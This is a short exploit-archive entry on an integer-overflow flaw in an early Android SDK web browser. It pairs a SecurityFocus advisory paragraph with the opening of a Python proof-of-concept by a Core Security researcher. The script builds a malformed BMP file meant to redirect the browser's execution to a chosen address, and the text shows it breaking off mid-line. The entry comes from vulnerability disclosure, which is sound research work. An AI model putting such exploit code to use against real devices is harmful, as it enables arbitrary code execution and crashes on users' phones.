source: https://www.securityfocus.com/bid/28006/info Android Web Browser is prone to an integer-overflow vulnerability because it fails to adequately handle user-supplied data. Attackers can exploit this issue to execute arbitrary code in the context of the application. Failed exploit attempts will likely cause denial-of-service conditions. This issue affects Android SDK m5-rc14 and earlier. # This script generates a Bitmap file that makes the Android browser jump to the address at 0xffffff+0x10 # Must be loaded inside a HTML file with a tag like this:

# Alfredo Ortega - Core Security import struct offset = 0xffef0000 width = 0x0bffff height=8 bmp ="\x42\x4d\xff\x00\x00\x00\x00\x00\x00\x00" bmp+=struct.pack("